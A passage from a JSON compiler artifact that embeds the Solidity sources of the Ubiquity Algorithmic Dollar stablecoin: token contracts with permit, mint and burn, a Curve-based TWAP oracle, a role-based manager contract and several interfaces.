\\\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\\\"\\n ),\\n keccak256(bytes(name())),\\n keccak256(bytes(\\\"1\\\")),\\n chainId,\\n address(this)\\n )\\n );\\n }\\n\\n /// @notice setSymbol update token symbol\\n /// @param newSymbol new token symbol\\n function setSymbol(string memory newSymbol) external onlyAdmin {\\n _symbol = newSymbol;\\n }\\n\\n /// @notice setName update token name\\n /// @param newName new token name\\n function setName(string memory newName) external onlyAdmin {\\n _tokenName = newName;\\n }\\n\\n /// @notice permit spending of uAD. owner has signed a message allowing\\n /// spender to transfer up to amount uAD\\n /// @param owner the uAD holder\\n /// @param spender the approved operator\\n /// @param value the amount approved\\n /// @param deadline the deadline after which the approval is no longer valid\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external override {\\n // solhint-disable-next-line not-rely-on-time\\n require(deadline >= block.timestamp, \\\"Dollar: EXPIRED\\\");\\n bytes32 digest =\\n keccak256(\\n abi.encodePacked(\\n \\\"\\\\x19\\\\x01\\\",\\n DOMAIN_SEPARATOR,\\n keccak256(\\n abi.encode(\\n PERMIT_TYPEHASH,\\n owner,\\n spender,\\n value,\\n nonces[owner]++,\\n deadline\\n )\\n )\\n )\\n );\\n address recoveredAddress = ecrecover(digest, v, r, s);\\n require(\\n recoveredAddress != address(0) && recoveredAddress == owner,\\n \\\"Dollar: INVALID_SIGNATURE\\\"\\n );\\n _approve(owner, spender, value);\\n }\\n\\n /// @notice burn UAD tokens from caller\\n /// @param amount the amount to burn\\n function burn(uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n whenNotPaused\\n {\\n super.burn(amount);\\n emit Burning(msg.sender, amount);\\n }\\n\\n /// @notice burn uAD tokens from specified account\\n /// @param account the account to burn from\\n /// @param amount the amount to burn\\n function burnFrom(address account, uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n onlyBurner\\n whenNotPaused // to suppress ? if BURNER_ROLE should do it even paused ?\\n {\\n _burn(account, amount);\\n emit Burning(account, amount);\\n }\\n\\n // @dev Creates `amount` new tokens for `to`.\\n function mint(address to, uint256 amount)\\n public\\n override\\n onlyMinter\\n whenNotPaused\\n {\\n _mint(to, amount);\\n emit Minting(to, msg.sender, amount);\\n }\\n\\n // @dev Pauses all token transfers.\\n function pause() public onlyPauser {\\n _pause();\\n }\\n\\n // @dev Unpauses all token transfers.\\n function unpause() public onlyPauser {\\n _unpause();\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view override(ERC20) returns (string memory) {\\n return _tokenName;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view override(ERC20) returns (string memory) {\\n return _symbol;\\n }\\n\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual override(ERC20, ERC20Pausable) {\\n super._beforeTokenTransfer(from, to, amount);\\n }\\n\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal virtual override whenNotPaused {\\n super._transfer(sender, recipient, amount);\\n }\\n}\\n\",\"keccak256\":\"0x131a8776645c08696d9aa7c4ff1d6c1bd69a899f67392556b64c6b9de7e302da\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IIncentive.sol\\\";\\nimport \\\"./ERC20Ubiquity.sol\\\";\\n\\ncontract UbiquityAlgorithmicDollar is ERC20Ubiquity {\\n /// @notice get associated incentive contract, 0 address if N/A\\n mapping(address => address) public incentiveContract;\\n\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n constructor(address _manager)\\n ERC20Ubiquity(_manager, \\\"Ubiquity Algorithmic Dollar\\\", \\\"uAD\\\")\\n {} // solhint-disable-line no-empty-blocks\\n\\n /// @param account the account to incentivize\\n /// @param incentive the associated incentive contract\\n /// @notice only UAD manager can set Incentive contract\\n function setIncentiveContract(address account, address incentive) external {\\n require(\\n ERC20Ubiquity.manager.hasRole(\\n ERC20Ubiquity.manager.UBQ_TOKEN_MANAGER_ROLE(),\\n msg.sender\\n ),\\n \\\"Dollar: must have admin role\\\"\\n );\\n\\n incentiveContract[account] = incentive;\\n emit IncentiveContractUpdate(account, incentive);\\n }\\n\\n function _checkAndApplyIncentives(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal {\\n // incentive on sender\\n address senderIncentive = incentiveContract[sender];\\n if (senderIncentive != address(0)) {\\n IIncentive(senderIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // incentive on recipient\\n address recipientIncentive = incentiveContract[recipient];\\n if (recipientIncentive != address(0)) {\\n IIncentive(recipientIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // incentive on operator\\n address operatorIncentive = incentiveContract[msg.sender];\\n if (\\n msg.sender != sender &&\\n msg.sender != recipient &&\\n operatorIncentive != address(0)\\n ) {\\n IIncentive(operatorIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // all incentive, if active applies to every transfer\\n address allIncentive = incentiveContract[address(0)];\\n if (allIncentive != address(0)) {\\n IIncentive(allIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n }\\n\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal override {\\n super._transfer(sender, recipient, amount);\\n _checkAndApplyIncentives(sender, recipient, amount);\\n }\\n}\\n\",\"keccak256\":\"0xbbde4f7cf669cadae6c303b45c640d12da3cd6e97557c188e2f5cc27b3b7fd4c\",\"license\":\"MIT\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/UbiquityAutoRedeem.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./ERC20Ubiquity.sol\\\";\\n\\ncontract UbiquityAutoRedeem is ERC20Ubiquity {\\n constructor(address _manager)\\n ERC20Ubiquity(_manager, \\\"Ubiquity Auto Redeem\\\", \\\"uAR\\\")\\n {} // solhint-disable-line no-empty-blocks\\n\\n /// @notice raise capital in form of uAR (only redeemable when uAD > 1$)\\n /// @param amount the amount to be minted\\n /// @dev you should be minter to call that function\\n function raiseCapital(uint256 amount) external {\\n address treasuryAddress = manager.treasuryAddress();\\n mint(treasuryAddress, amount);\\n }\\n}\\n\",\"keccak256\":\"0x265ec5a29d2f40457c900461112e4b7ef96a63e4ee417bd82cdcce231f9e75a6\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/ICouponsForDollarsCalculator.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\\\";\\n\\n/// @title A mechanism for calculating coupons received for a dollar amount burnt\\ninterface ICouponsForDollarsCalculator {\\n function getCouponAmount(uint256 dollarsToBurn)\\n external\\n view\\n returns (uint256);\\n}\\n\",\"keccak256\":\"0x8e8ddcc24dd13ae057f856afabd2088ee4c333d9cb88d1806f7c5bf84879954d\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IDebtRedemption.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\\\";\\n\\n/// @title A debt redemption mechanism for coupon holders\\n/// @notice Allows users to redeem individual debt coupons or batch redeem coupons\\n/// @dev Implements IERC1155Receiver so that it can deal with redemptions\\ninterface IDebtCouponManager is IERC1155Receiver {\\n function redeemCoupons(\\n address from,\\n uint256 id,\\n uint256 amount\\n ) external;\\n\\n function exchangeDollarsForDebtCoupons(uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xdcb9689f2cb202da08aa7358dc5b9d0783bf6a38aa8c4f4715029cd9b3601fbf\",\"license\":\"MIT\"},\"contracts/interfaces/IDollarMintingCalculator.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\\\";\\n\\n/// @title A mechanism for calculating dollars to be minted\\ninterface IDollarMintingCalculator {\\n function getDollarsToMint() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xd86e047647c26ad000708918cf28dc8fc653cdcd5335357155afc4d24cd7234b\",\"license\":\"MIT\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IExcessDollarsDistributor.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\\\";\\n\\n/// @title A mechanism for distributing excess dollars to relevant places\\ninterface IExcessDollarsDistributor {\\n function distributeDollars() external;\\n}\\n\",\"keccak256\":\"0x9017fd1bdbe37469905c85a4e6d71a177881c5e56b411a22acc03802c0c89ed1\",\"license\":\"MIT\"},\"contracts/interfaces/IIncentive.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\n/// @title incentive contract interface\\n/// @notice Called by uAD token contract when transferring with an incentivized address\\n/// @dev should be appointed as a Minter or Burner as needed\\ninterface IIncentive {\\n /// @notice apply incentives on transfer\\n /// @param sender the sender address of uAD\\n /// @param receiver the receiver address of uAD\\n /// @param operator the operator (msg.sender) of the transfer\\n /// @param amount the amount of uAD transferred\\n function incentivize(\\n address sender,\\n address receiver,\\n address operator,\\n uint256 amount\\n ) external;\\n}\\n\",\"keccak256\":\"0x38a8564acc4a3de67d7a53a2ddd78ac728db25651e03e3d9c13e345dfa79a7b5\",\"license\":\"MIT\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function 